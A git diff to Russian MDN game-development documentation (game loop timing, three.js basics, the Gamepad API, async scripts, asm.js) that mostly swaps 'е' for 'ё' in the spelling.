    Современные версии Firefox и Google Chrome (вероятно, и другие) пытаются подключить колбэки requestAnimationFrame к своему основному потоку в самом начале временного интервала фрейма. Таким образом основной поток браузера пытается выглядеть следующим образом: 

    @@ -116,12 +116,12 @@ main(); // Start the cycle
  9. Запустить новый кадр (пока предыдущий обрабатывается на дисплее.).
  10. Пройтись по колбэкам requestAnimationFrame и вызвать их.
  11. Выполнить сборку мусора и другие задачи для каждого кадра, когда вышеупомянутые колбэки перестают контролировать основной поток.
    12. -
  12. Спать (если только какое-либо событие не прервет сон браузера) до тех пор, пока монитор не будет готов к вашему изображению (VSync), и повторить его.
    13. +
  13. Спать (если только какое-либо событие не прервёт сон браузера) до тех пор, пока монитор не будет готов к вашему изображению (VSync), и повторить его.

    14. Вы можете думать о разработке realtime applications, как о запасе времени для работы. Все вышеперечисленные шаги должны выполняться каждые 16  с половиной миллисекунд, чтобы не отставать от дисплея с частотой 60Гц.  Браузеры вызывают ваш код таким образом, чтобы предоставить ему максимум времени для вычислений. Ваш основной поток часто запускает рабочие нагрузки, которые даже не находятся в основном потоке (Например, растеризация или шейдеры в WebGL).  Большие вычисления могут выполняться на Web Worker-e или GPU одновременно с тем, как браузер использует свой основной поток для управления сборкой мусора, обработки асинхронных вызовов или других задач. 

    -

    Пока мы обсуждаем распределение нашего временного бюджета, многие браузеры имеют инструмент под названием High Resolution Time. Объект {{ domxref("Date") }} больше не используется в качестве основного метода синхронизации событий, поскольку он очень не точен и может быть изменен системными часами. High Resolution Time, с другой стороны, подсчитывает количество миллисекунд начиная с navigationStart (при выгрузке предыдущего документа). Это значение возвращается в виде десятичного числа с точностью до миллисекунды.  Он известен как DOMHighResTimeStamp, но для всех целей и задач считайте его числом с плавающей запятой.  

    +

    Пока мы обсуждаем распределение нашего временного бюджета, многие браузеры имеют инструмент под названием High Resolution Time. Объект {{ domxref("Date") }} больше не используется в качестве основного метода синхронизации событий, поскольку он очень не точен и может быть изменён системными часами. High Resolution Time, с другой стороны, подсчитывает количество миллисекунд начиная с navigationStart (при выгрузке предыдущего документа). Это значение возвращается в виде десятичного числа с точностью до миллисекунды.  Он известен как DOMHighResTimeStamp, но для всех целей и задач считайте его числом с плавающей запятой.  

    Примечание: Системы (аппаратные или программные), которые не могу обеспечить точность в микросекундах, могут по крайней мере обеспечить точность в миллисекундах.  Однако, они должны обеспечивать точность до 0,001 мс, если способны на это. 

    @@ -129,7 +129,7 @@ main(); // Start the cycle -

    Это значение нельзя использовать само по себе, потому что оно относиться к неинтересному событию, но его можно вычесть из другой временной ветки, чтобы четко и точно определить, сколько времени прошло между этими двумя точками. Чтобы получить одну из этих временных меток, вы можете вызвать window.performance.now() и сохранить результат в переменную. 

    +

    Это значение нельзя использовать само по себе, потому что оно относиться к неинтересному событию, но его можно вычесть из другой временной ветки, чтобы чётко и точно определить, сколько времени прошло между этими двумя точками. Чтобы получить одну из этих временных меток, вы можете вызвать window.performance.now() и сохранить результат в переменную. 

    var tNow = window.performance.now();
    @@ -140,7 +140,7 @@ main(); // Start the cycle * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить, * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало -* новой строки, если предыдущая не была пустой или завершенной. +* новой строки, если предыдущая не была пустой или завершённой. * * Давайте также предположим, что MyGame уже определена. */ diff --git a/files/ru/games/index.html b/files/ru/games/index.html index 68b713c1bb..f049abd074 100644 --- a/files/ru/games/index.html +++ b/files/ru/games/index.html @@ -21,7 +21,7 @@ translation_of: Games
    Введение в разработку игр для Web
    Ознакомление с технологиями, полезными для разработчиков игр, а также - как начать разработку игр, используя Web-технологии. Эта статья также рассматривает бизнес-кейс для создания web-игр.
    Анатомия видео игр
    -
    Что такое видео игры на самом деле? Есть определенные вещи, которые являются общими для всех игр (даже если, на первый взгляд, так и не кажется). Данная статья попытается объяснить такие понятия, как основные циклы, в совершенно общем контексте. При этом она все равно соответствует веб-стандартам.
    +
    Что такое видео игры на самом деле? Есть определённые вещи, которые являются общими для всех игр (даже если, на первый взгляд, так и не кажется). Данная статья попытается объяснить такие понятия, как основные циклы, в совершенно общем контексте. При этом она все равно соответствует веб-стандартам.
    Особые обсуждения для разработчиков игр
    Эта статья из App Center бегло рассматривает вещи, которые необходимо учитывать при попытке создать игру, которая будет работать как открытое веб-приложение.
    @@ -36,7 +36,7 @@ translation_of: Games
    Шаблоны программирования игр
    Онлайн-книга, написанная Bob Nystrom, которая рассказывает о шаблонах программирования в контексте разработки игр с целью помочь разработчикам создавать более эффективный, рациональный код.
    Artillery blog
    -
    В играх HTML5 компании Artillery есть несколько полезных статей в своем блоге.
    +
    В играх HTML5 компании Artillery есть несколько полезных статей в своём блоге.
    Создание игр для Firefox OS
    Краткое руководство по созданию 2D-игр с HTML5 для распространения на Firefox и других мобильных платформах.
    Gamedev.js Weekly
    @@ -56,7 +56,7 @@ translation_of: Games
    js13kGames
    Конкурс кодирования JavaScript для разработчиков игр HTML5 с ограничением размера файла, равным 13 килобайтам. Все представленные игры доступны в удобном для чтения виде на GitHub.
    Mozilla Hacks blog
    -
    Категория игр в блоге Mozilla Hacks, содержащем интересные статьи, посвященные gamedev.
    +
    Категория игр в блоге Mozilla Hacks, содержащем интересные статьи, посвящённые gamedev.
    @@ -65,24 +65,24 @@ translation_of: Games
    Инструменты
    -
    Это раздел об инструментах, созданных для облегчения создания эффективных игр для Web, таких как фреймворки, компиляторы (например, Emscripten), и инструменты для отладки. Объясняются основные концепции каждого, дается прочная база для работы с ними.
    -
    Технические приемы
    +
    Это раздел об инструментах, созданных для облегчения создания эффективных игр для Web, таких как фреймворки, компиляторы (например, Emscripten), и инструменты для отладки. Объясняются основные концепции каждого, даётся прочная база для работы с ними.
    +
    Технические приёмы
    Этот раздел содержит множество статей об очень важных техниках создания игр, таких как физика, обнаружение столкновения, анимация, 3D, хранение данных, и многое другое.
    Рабочий процесс
    -
    Этот раздел включает в себя несколько тематических исследований об основных инструментах и методах, охватываемых выше, и применение их к созданию удивительных игр. Здесь каждый найдет что-то полезное, являетесь ли вы опытным веб-разработчиком, желающим писать 2D или 3D игры, С++ разработчиком, задумавшим портировать свои игры в веб, или мобильным разработчиком, ищущим помощь в написании лучших мобильных игр.
    +
    Этот раздел включает в себя несколько тематических исследований об основных инструментах и методах, охватываемых выше, и применение их к созданию удивительных игр. Здесь каждый найдёт что-то полезное, являетесь ли вы опытным веб-разработчиком, желающим писать 2D или 3D игры, С++ разработчиком, задумавшим портировать свои игры в веб, или мобильным разработчиком, ищущим помощь в написании лучших мобильных игр.

    Примеры

    BananaBread
    -
    Многопользовательский трехмерный шутер от первого лица, разработанный с использованием Emscripten, WebGL и WebRTC. Одна из первых демонстрационных игр для WebGL.
    +
    Многопользовательский трёхмерный шутер от первого лица, разработанный с использованием Emscripten, WebGL и WebRTC. Одна из первых демонстрационных игр для WebGL.
    Monster Madness
    Сетевой шутер на основе WebGL и asm.js, разработанный Nom Nom Games и Trendy entertainment.
    Auralux
    Стратегия WebGL и asm.js: захватите все солнца, чтобы победить!
    Swooop
    -
    Полёт на самолёте в игре: контролируйте свой самолет и собирайте драгоценности. Снова, созданный с PlayCanvas.
    +
    Полёт на самолёте в игре: контролируйте свой самолёт и собирайте драгоценности. Снова, созданный с PlayCanvas.
    Polycraft
    Кораблекрушение. Исследуйте остров и победите монстров.
    Dead Trigger 2
    diff --git a/files/ru/games/introduction/index.html b/files/ru/games/introduction/index.html index 8db80d6d2d..088d012235 100644 --- a/files/ru/games/introduction/index.html +++ b/files/ru/games/introduction/index.html @@ -14,7 +14,7 @@ original_slug: Games/Ввод

    Современный web позволяет не только передавать различную информацию, но и создавать интерактивный контент. Например, потрясающие, высококачественные игры.

    -

    Диапазон игр, которые Вы можете встретить в web поражает и не уступает "нативным" играм, реализованным с использованием языка программирования c++ и java.Причем это касается не только относительно небольших игр, но и объемных игр жанра РПГ, 3d шутерах и многом другом. Это уже не аналоги простых карточных игр или многопользовательских социальных играх, реализованных с помощью Flash®, а гораздо более сложные вещи. Благодаря значительным улучшениям языка программирования JavaScript и появлению новых API браузера, Вы можете создавать игры, не зависящие от операционной системы. Для их работы необходим только браузер. А иногда, например на устройствах с поддержкой HTML5, таких как Firefox OS, не нужен даже он.

    +

    Диапазон игр, которые Вы можете встретить в web поражает и не уступает "нативным" играм, реализованным с использованием языка программирования c++ и java.Причём это касается не только относительно небольших игр, но и объёмных игр жанра РПГ, 3d шутерах и многом другом. Это уже не аналоги простых карточных игр или многопользовательских социальных играх, реализованных с помощью Flash®, а гораздо более сложные вещи. Благодаря значительным улучшениям языка программирования JavaScript и появлению новых API браузера, Вы можете создавать игры, не зависящие от операционной системы. Для их работы необходим только браузер. А иногда, например на устройствах с поддержкой HTML5, таких как Firefox OS, не нужен даже он.

    Игровая платформа HTML5

    @@ -75,7 +75,7 @@ original_slug: Games/Ввод

    6. Вы можете управлять своими отношениями с клиентами более тесно, по-своему. Больше не придётся работать с обратной связью магазина приложений. Взаимодействуйте со своими клиентами так, как вы хотите, без посредника.

    -

    7. Ваши игроки могут играть в вашу игру в любом месте, в любое время. Поскольку Web распространен повсеместно, ваши клиенты могут проверить статус своей игры на своих телефонах, планшетах, домашних ноутбуках, рабочих столах или на чем-либо еще.

    +

    7. Ваши игроки могут играть в вашу игру в любом месте, в любое время. Поскольку Web распространён повсеместно, ваши клиенты могут проверить статус своей игры на своих телефонах, планшетах, домашних ноутбуках, рабочих столах или на чем-либо еще.

    Web-технологии для разработчиков игр

    @@ -92,22 +92,22 @@ original_slug: Games/Ввод
    HTML audio
    Элемент {{HTMLElement ("audio")}} позволяет легко воспроизводить простые звуковые эффекты и музыку. Если ваше потребности выше, ознакомьтесь с Web Audio API для полной мощности обработки звука!
    IndexedDB
    -
    Мощный API для хранения пользовательских данных на собственном компьютере или устройстве. Отличный способ локально сохранить состояние игры и другую информацию, без необходимости подгружать ее каждый раз при необходимости. Также полезно для того, чтобы сделать ваш проект играбельным, даже если пользователь не подключен к Интернету (например, когда он оказался в самолете на несколько часов).
    +
    Мощный API для хранения пользовательских данных на собственном компьютере или устройстве. Отличный способ локально сохранить состояние игры и другую информацию, без необходимости подгружать её каждый раз при необходимости. Также полезно для того, чтобы сделать ваш проект играбельным, даже если пользователь не подключён к Интернету (например, когда он оказался в самолёте на несколько часов).
    JavaScript
    -
    JavaScript, язык программирования, используемый в Интернете, быстро развивается в современных браузерах и становится ещё быстрее. Используйте его возможности для написания кода своей игры или используйте такие технологии, как Emscripten или Asm.js, чтобы с легкостью переносить существующие игры.
    +
    JavaScript, язык программирования, используемый в Интернете, быстро развивается в современных браузерах и становится ещё быстрее. Используйте его возможности для написания кода своей игры или используйте такие технологии, как Emscripten или Asm.js, чтобы с лёгкостью переносить существующие игры.
    Pointer Lock API
    -
    API Pointer Lock позволяет блокировать мышь или другое указывающее устройство в интерфейсе вашей игры. Вместо абсолютного позиционирования курсора вы получаете координаты дельты, которые дают вам более точные измерения того, что делает пользователь, и предотвращают случайную отправку ввода где-то еще, тем самым упуская важные пользовательские действия.
    +
    API Pointer Lock позволяет блокировать мышь или другое указывающее устройство в интерфейсе вашей игры. Вместо абсолютного позиционирования курсора вы получаете координаты дельты, которые дают вам более точные измерения того, что делает пользователь, и предотвращают случайную отправку ввода где-то ещё, тем самым упуская важные пользовательские действия.
    SVG (масштабируемая векторная графика)
    Позволяет создавать векторную графику, которая плавно масштабируется независимо от размера или разрешения дисплея пользователя.
    Typed Arrays
    -
    Типизированные массивы JavaScript дают вам доступ к необработанным двоичным данным из кода, что позволяет вам манипулировать текстурами GL, игровыми данными или чем-то еще, даже если код не в формате JavaScript.
    +
    Типизированные массивы JavaScript дают вам доступ к необработанным двоичным данным из кода, что позволяет вам манипулировать текстурами GL, игровыми данными или чем-то ещё, даже если код не в формате JavaScript.
    Web Audio API
    Этот API необходим для управления воспроизведением, синтезом звука и манипулированием аудио из кода JavaScript. Позволяет создавать потрясающие звуковые эффекты, а также воспроизводить и манипулировать музыкой в ​​режиме реального времени.
    WebGL
    Позволяет создавать высокопроизводительную аппаратно-ускоренную 3D (и 2D) графику из веб-контента. Это веб-реализация OpenGL ES 2.0.
    WebRTC
    -
    API WebRTC (Real-Time Communications) дает вам возможность управлять аудио- и видеоданными, включая телеконференции и передачу данных из других приложений между двумя пользователями. Хотите, чтобы ваши игроки могли общаться друг с другом, взрывая монстров? Это API для вас!
    +
    API WebRTC (Real-Time Communications) даёт вам возможность управлять аудио- и видеоданными, включая телеконференции и передачу данных из других приложений между двумя пользователями. Хотите, чтобы ваши игроки могли общаться друг с другом, взрывая монстров? Это API для вас!
    WebSockets

    The WebSocket API позволяет подключить ваше приложение или сайт к серверу для передачи данных в реальном времени. Идеально подходит для многопользовательских игр, чатов и т. д.

    diff --git a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html index 7f07e08d93..1df6408271 100644 --- a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html +++ b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html @@ -66,7 +66,7 @@ renderer.setClearColor(0xDDDDDD, 1); document.body.appendChild(renderer.domElement); -

    Создаем новый WebGL renderer, устанавливаем размер так, чтобы он занимал все пространство страницы, прикрепляем DOM элемент к странице. Вы могли заметить параметр antialias в первой строке — если он установлен в true, то границы объектов сглаживаются. Метод setClearColor() устанавливает цвет фона (мы установили в 0xDDDDDD, светло-серый, значение по умолчанию - черный).

    +

    Создаём новый WebGL renderer, устанавливаем размер так, чтобы он занимал все пространство страницы, прикрепляем DOM элемент к странице. Вы могли заметить параметр antialias в первой строке — если он установлен в true, то границы объектов сглаживаются. Метод setClearColor() устанавливает цвет фона (мы установили в 0xDDDDDD, светло-серый, значение по умолчанию - чёрный).

    Добавьте этот код в ваш элемент {{htmlelement("script")}}.

    @@ -81,7 +81,7 @@ document.body.appendChild(renderer.domElement);

    Камера

    -

    У нас есть сцена, теперь необходимо создать камеру. С помощью следующих строк мы добавим камеру, установим ее позицию в координатной системе и направим ее на нужную нам точку, где расположено то, что мы хотим видеть:

    +

    У нас есть сцена, теперь необходимо создать камеру. С помощью следующих строк мы добавим камеру, установим её позицию в координатной системе и направим её на нужную нам точку, где расположено то, что мы хотим видеть:

    var camera = new THREE.PerspectiveCamera(70, WIDTH/HEIGHT);
 camera.position.z = 50;
@@ -90,7 +90,7 @@ scene.add(camera);
 
 
    Добавьте следующий код в программу.
    
 
-
    Существует несколько типов камер: кубическая (Cube), ортографическая (Orthographic), но самая простая - перспективная (Perspective). Чтобы инициализировать ее, нужно установить угол обзора и соотношение сторон: Первое нужно для указания того, как широко мы видим, последний для того, чтобы эти объекты имели правильные пропорции. Объясним поподробнее, что означают числа, что мы установили:
    
+
    Существует несколько типов камер: кубическая (Cube), ортографическая (Orthographic), но самая простая - перспективная (Perspective). Чтобы инициализировать её, нужно установить угол обзора и соотношение сторон: Первое нужно для указания того, как широко мы видим, последний для того, чтобы эти объекты имели правильные пропорции. Объясним поподробнее, что означают числа, что мы установили:
    
 
 
      
  
    • Мы установили поле зрения в 70, с этим можно поэкспериментировать: чем больше число, тем больше угол обзора, тем шире мы видим. Представьте обычную камеру и камеру с эффектом fish eye, Которая позволяет увидеть больше. Значение по умолчанию 50.
      • 
@@ -115,9 +115,9 @@ scene.add(camera);
 render();
    -

    На каждом новом кадре вызывается функция render(), а renderer рендерит scene и camera. Сразу после объявления функции мы в первый раз вызываем ее, чтобы запустить цикл, после чего он будет использоваться бесконечно.

    +

    На каждом новом кадре вызывается функция render(), а renderer рендерит scene и camera. Сразу после объявления функции мы в первый раз вызываем её, чтобы запустить цикл, после чего он будет использоваться бесконечно.

    -

    Еще раз, добавьте этот новый код ниже ваших предыдущих дополнений. Попробуйте сохранить файл и открыть его в браузере. Теперь вы должны увидеть серое окно. Поздравляем!

    +

    Ещё раз, добавьте этот новый код ниже ваших предыдущих дополнений. Попробуйте сохранить файл и открыть его в браузере. Теперь вы должны увидеть серое окно. Поздравляем!

    Geometry

    @@ -155,7 +155,7 @@ render(); 
    scene.add(cube);
    -

    Если вы сохраните код и обновите вкладку браузера, вы увидите квадрат, а не куб, потому, что он стоит ровно напротив камеры и мы видим только одну сторону. У объектов есть полезное свойство - мы можем изменять их как хотим. Например, вы можете вращать его и масштабировать, сколько угодно. Что давайте немного повернем его, чтобы видеть больше сторон.  Добавить в конец кода эту строку:

    +

    Если вы сохраните код и обновите вкладку браузера, вы увидите квадрат, а не куб, потому, что он стоит ровно напротив камеры и мы видим только одну сторону. У объектов есть полезное свойство - мы можем изменять их как хотим. Например, вы можете вращать его и масштабировать, сколько угодно. Что давайте немного повернём его, чтобы видеть больше сторон.  Добавить в конец кода эту строку:

    cube.rotation.set(0.4, 0.2, 0);
    @@ -217,7 +217,7 @@ scene.add(light);

    Анимация

    -

    Мы можем использовать 'rotation', чтобы поменять положение куба. Также мы можем масштабировать фигуры или изменять их положение. Чтобы создать анимацию нужно внесенные изменения внести в цикл рендеринга, чтобы изменения происходили в каждом кадре.

    +

    Мы можем использовать 'rotation', чтобы поменять положение куба. Также мы можем масштабировать фигуры или изменять их положение. Чтобы создать анимацию нужно внесённые изменения внести в цикл рендеринга, чтобы изменения происходили в каждом кадре.

    Вращение

    diff --git a/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html b/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html index 9121cc00e2..7b7c6dc59e 100644 --- a/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html +++ b/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html @@ -131,7 +131,7 @@ translation_of: Games/Techniques/3D_on_the_web/GLSL_Shaders 
    // var basicMaterial = new THREE.MeshBasicMaterial({color: 0x0095DD});
    -

    Далее, создаем shaderMaterial:

    +

    Далее, создаём shaderMaterial:

    var shaderMaterial = new THREE.ShaderMaterial( {
 	vertexShader: document.getElementById( 'vertexShader' ).textContent,
diff --git a/files/ru/games/techniques/async_scripts/index.html b/files/ru/games/techniques/async_scripts/index.html
index 914600cd94..2f50c87da4 100644
--- a/files/ru/games/techniques/async_scripts/index.html
+++ b/files/ru/games/techniques/async_scripts/index.html
@@ -24,11 +24,11 @@ translation_of: Games/Techniques/Async_scripts
 script.src = "file.js";
 document.body.appendChild(script);
    -

    (скрипты создаются из скрипта по умолчанию async.) Стандартная оболочка HTML, которую генерирует Emscripten, создает последнее.

    +

    (скрипты создаются из скрипта по умолчанию async.) Стандартная оболочка HTML, которую генерирует Emscripten, создаёт последнее.

    Когда асинхронный не асинхронный?

    -

    Две распространенные ситуации, в которых сценарий * не * асинхронен (как определено спецификацией HTML ):

    +

    Две распространённые ситуации, в которых сценарий * не * асинхронен (как определено спецификацией HTML ):

    <script async>code</script>
    diff --git a/files/ru/games/techniques/controls_gamepad_api/index.html b/files/ru/games/techniques/controls_gamepad_api/index.html index 512f3143d4..6f84031d8d 100644 --- a/files/ru/games/techniques/controls_gamepad_api/index.html +++ b/files/ru/games/techniques/controls_gamepad_api/index.html @@ -17,13 +17,13 @@ translation_of: Games/Techniques/Controls_Gamepad_API

    Элементы управления для web игр

    -

    Исторически игра на консоли, подключенной к телевизору, всегда была совершенно другим опытом, чем игра на ПК, в основном из-за уникальных элементов управления. В конце концов, дополнительные драйверы и плагины позволили нам использовать консольные геймпады с настольными играми - либо нативными играми, либо теми, которые работают в браузере. Теперь, в эпоху HTML5, у нас наконец есть API Gamepad, который дает нам возможность играть в браузерные игры с использованием геймпад-контроллеры без каких-либо плагинов. API Gamepad достигает этого, предоставляя интерфейс, демонстрирующий нажатия кнопок и изменения оси, которые могут быть использованы внутри кода JavaScript для обработки входных данных. Это хорошие времена для браузерных игр.

    +

    Исторически игра на консоли, подключённой к телевизору, всегда была совершенно другим опытом, чем игра на ПК, в основном из-за уникальных элементов управления. В конце концов, дополнительные драйверы и плагины позволили нам использовать консольные геймпады с настольными играми - либо нативными играми, либо теми, которые работают в браузере. Теперь, в эпоху HTML5, у нас наконец есть API Gamepad, который даёт нам возможность играть в браузерные игры с использованием геймпад-контроллеры без каких-либо плагинов. API Gamepad достигает этого, предоставляя интерфейс, демонстрирующий нажатия кнопок и изменения оси, которые могут быть использованы внутри кода JavaScript для обработки входных данных. Это хорошие времена для браузерных игр.

    gamepad-controls

    API статус и поддержка браузера

    -

    Gamepad API все еще находится на стадии рабочего проекта в процессе W3C, что означает, что его реализация все еще может измениться, но говорит о том, что поддержка браузера уже довольно хороша. Firefox 29+ и Chrome 35+ поддерживают его сразу после установки. Opera поддерживает API в версии 22+ (неудивительно, учитывая, что теперь они используют движок Blink Chrome.) И Microsoft недавно реализовала поддержку API в Edge,что означает, что четыре основных браузера теперь поддерживают API Gamepad.

    +

    Gamepad API все ещё находится на стадии рабочего проекта в процессе W3C, что означает, что его реализация все ещё может измениться, но говорит о том, что поддержка браузера уже довольно хороша. Firefox 29+ и Chrome 35+ поддерживают его сразу после установки. Opera поддерживает API в версии 22+ (неудивительно, учитывая, что теперь они используют движок Blink Chrome.) И Microsoft недавно реализовала поддержку API в Edge,что означает, что четыре основных браузера теперь поддерживают API Gamepad.

    Какие геймпады лучше всего?

    @@ -37,11 +37,11 @@ translation_of: Games/Techniques/Controls_Gamepad_API

    The competition ran in November 2013 and  decided to take part in it. The theme for the competition was "change", so they submitted a game where you have to feed the Hungry Fridge by tapping the healthy food (apples, carrots, lettuces) and avoid the "bad" food (beer, burgers, pizza.) A countdown changes the type of food the Fridge wants to eat every few seconds, so you have to be careful and act quickly. You can try Hungry Fridge here.

    -

    Конкурс GitHub Game Off II состоялся в ноябре 2013 года, и Enclave Games решила принять в нем участие. Тема для конкурса была "переменна", поэтому они представили игру, в которой Вы должны накормить голодный холодильник, нажав на здоровую пищу (яблоки, морковь, салат) и избежать "плохой" пищи (пиво, гамбургеры, пицца.) Обратный отсчет меняет тип пищи, которую холодильник хочет съесть каждые несколько секунд, поэтому вы должны быть осторожны и действовать быстро. Вы можете попробовать Голодный холодильник здесь.

    +

    Конкурс GitHub Game Off II состоялся в ноябре 2013 года, и Enclave Games решила принять в нем участие. Тема для конкурса была "переменна", поэтому они представили игру, в которой Вы должны накормить голодный холодильник, нажав на здоровую пищу (яблоки, морковь, салат) и избежать "плохой" пищи (пиво, гамбургеры, пицца.) Обратный отсчёт меняет тип пищи, которую холодильник хочет съесть каждые несколько секунд, поэтому вы должны быть осторожны и действовать быстро. Вы можете попробовать Голодный холодильник здесь.

    hungryfridge-mainmenu

    -

    Вторая, скрытая реализация "изменения" - это возможность превратить статичный холодильник в полноценную движущуюся, стреляющую и едящую машину. Когда вы подключаете контроллер, игра значительно меняется (голодный холодильник превращается в супер турбо голодный холодильник), и вы можете управлять бронированным холодильником с помощью API Gamepad. Вы должны сбивать еду, но вы все еще должны искать тип пищи, которую холодильник хочет съесть в каждой точке, иначе вы потеряете энергию.

    +

    Вторая, скрытая реализация "изменения" - это возможность превратить статичный холодильник в полноценную движущуюся, стреляющую и едящую машину. Когда вы подключаете контроллер, игра значительно меняется (голодный холодильник превращается в супер турбо голодный холодильник), и вы можете управлять бронированным холодильником с помощью API Gamepad. Вы должны сбивать еду, но вы все ещё должны искать тип пищи, которую холодильник хочет съесть в каждой точке, иначе вы потеряете энергию.

    hungryfridge-howtoplay-gamepad

    @@ -63,7 +63,7 @@ translation_of: Games/Techniques/Controls_Gamepad_API

    Реализация

    -

    Есть два важных события, которые можно использовать вместе с API Gamepad-gamepadconnected и gamepaddisconnected. Первый срабатывает, когда браузер обнаруживает подключение нового геймпада, а второй - когда геймпад отключен (либо физически пользователем, либо из-за бездействия).) В демо-версии объект gamepadAPI используется для хранения всего, что связано с API:

    +

    Есть два важных события, которые можно использовать вместе с API Gamepad-gamepadconnected и gamepaddisconnected. Первый срабатывает, когда браузер обнаруживает подключение нового геймпада, а второй - когда геймпад отключён (либо физически пользователем, либо из-за бездействия).) В демо-версии объект gamepadAPI используется для хранения всего, что связано с API:

    var gamepadAPI = {
   controller: {},
@@ -118,11 +118,11 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);
 
 
    Объект геймпада
    
 
-
    В объекте gamepad содержится много полезной информации, причем наиболее важными являются состояния кнопок и осей:
    
+
    В объекте gamepad содержится много полезной информации, причём наиболее важными являются состояния кнопок и осей:
    
 
 
      
  
    • id: Строка, содержащая информацию о контроллере.
      • 
- 
    • index: Уникальный идентификатор для подключенного устройства.
      • 
+ 
    • index: Уникальный идентификатор для подключённого устройства.
      • 
  
    • connected: Логическая переменная. Возвращает true при подключении.
      • 
  
    • mapping: Тип компоновки кнопок; Стандартный - единственный доступный вариант на данный момент.
      • 
  
    • axes: Состояние каждой оси, представленное массивом значений с плавающей запятой.
      • 
@@ -133,7 +133,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);
 
 
      Запрос объекта геймпада
      
 
-
      Помимо connect() и disconnect(), в объекте gamepadAPI есть еще два метода: update() и buttonPressed(). update() выполняется на каждом кадре внутри игрового цикла, чтобы регулярно обновлять фактическое состояние объекта геймпада:
      
+
      Помимо connect() и disconnect(), в объекте gamepadAPI есть ещё два метода: update() и buttonPressed(). update() выполняется на каждом кадре внутри игрового цикла, чтобы регулярно обновлять фактическое состояние объекта геймпада:
      
 
 
      update: function() {
   // clear the buttons cache
@@ -175,7 +175,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);
 
 
      Обнаружение нажатия кнопок
      
 
-
      Метод buttonPressed() также помещается в основной игровой цикл для обработки нажатий кнопок. Для этого требуется два параметра - кнопка, которую мы хотим прослушать, и (необязательно) способ сообщить игре, что удержание кнопки принято. Без него вам придется отпустить кнопку и нажать ее снова, чтобы получить желаемый эффект.
      
+
      Метод buttonPressed() также помещается в основной игровой цикл для обработки нажатий кнопок. Для этого требуется два параметра - кнопка, которую мы хотим прослушать, и (необязательно) способ сообщить игре, что удержание кнопки принято. Без него вам придётся отпустить кнопку и нажать её снова, чтобы получить желаемый эффект.
      
 
 
      buttonPressed: function(button, hold) {
   var newPress = false;
@@ -213,7 +213,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);
 }
 
      
 
-
      Если gamepadAPI.turbo возвращает true, при нажатии (или удержании) данных кнопок мы выполняем соответствующие функции, возложенные на них. В этом случае нажатие или удержание "A" приведет к выстрелу пули, а нажатие "B" поставит игру на паузу.
      
+
      Если gamepadAPI.turbo возвращает true, при нажатии (или удержании) данных кнопок мы выполняем соответствующие функции, возложенные на них. В этом случае нажатие или удержание "A" приведёт к выстрелу пули, а нажатие "B" поставит игру на паузу.
      
 
 
      Порог оси
      
 
@@ -229,7 +229,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);
 }
 
      
 
-
      Даже если мы немного сдвинем его по ошибке или стик не вернется в исходное положение, танк не повернется неожиданно.
      
+
      Даже если мы немного сдвинем его по ошибке или стик не вернётся в исходное положение, танк не повернётся неожиданно.
      
 
 
      Обновление спецификаций
      
 
@@ -237,7 +237,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);
 
 
      Получение геймпадов
      
 
-
      Метод {{domxref ("Navigator.getGamepads ()")}} был обновлен с более длинным объяснением и примером кода. Теперь длина массива геймпадов должна быть n+1, где n-количество подключенных устройств — когда подключено одно устройство и оно имеет индекс 1, длина массива равна 2, и он будет выглядеть следующим образом: [null, [object Gamepad]]. Если устройство отключено или недоступно, то для него устанавливается значение null.
      
+
      Метод {{domxref ("Navigator.getGamepads ()")}} был обновлён с более длинным объяснением и примером кода. Теперь длина массива геймпадов должна быть n+1, где n-количество подключённых устройств — когда подключено одно устройство и оно имеет индекс 1, длина массива равна 2, и он будет выглядеть следующим образом: [null, [object Gamepad]]. Если устройство отключено или недоступно, то для него устанавливается значение null.
      
 
 
      Стандартное отображение
      
 
@@ -257,4 +257,4 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);
 
 
      Подведение итогов
      
 
-
      API геймпада очень прост в разработке. Теперь это проще, чем когда-либо, вы можете использовать браузер как консоль без необходимости каких-либо плагинов. Вы можете играть в полную версию игры Hungry Fridge непосредственно в вашем браузере, установить ее из Firefox Marketplace или проверить исходный код демо-версии вместе со всеми другими ресурсами в комплекте контента Gamepad API.
      
+
      API геймпада очень прост в разработке. Теперь это проще, чем когда-либо, вы можете использовать браузер как консоль без необходимости каких-либо плагинов. Вы можете играть в полную версию игры Hungry Fridge непосредственно в вашем браузере, установить её из Firefox Marketplace или проверить исходный код демо-версии вместе со всеми другими ресурсами в комплекте контента Gamepad API.
      
diff --git a/files/ru/games/tools/asm.js/index.html b/files/ru/games/tools/asm.js/index.html
index 08e08bb6bc..852bcf954e 100644
--- a/files/ru/games/tools/asm.js/index.html
+++ b/files/ru/games/tools/asm.js/index.html
@@ -13,18 +13,18 @@ original_slug: Games/Инструменты/asm.js
 
      {{IncludeSubnav("/en-US/docs/Games")}}
      
 
 
      
-
      Asm.js - это подмножество JavaScript, имеющее более высокую оптимизацию. В этой статье описаны возможности asm.js, улучшения которые оно дает, где и как это можно применять, а также дополнительные ресурсы и примеры.
      
+
      Asm.js - это подмножество JavaScript, имеющее более высокую оптимизацию. В этой статье описаны возможности asm.js, улучшения которые оно даёт, где и как это можно применять, а также дополнительные ресурсы и примеры.
      
 
      
 
 
      Что такое asm.js?
      
 
 
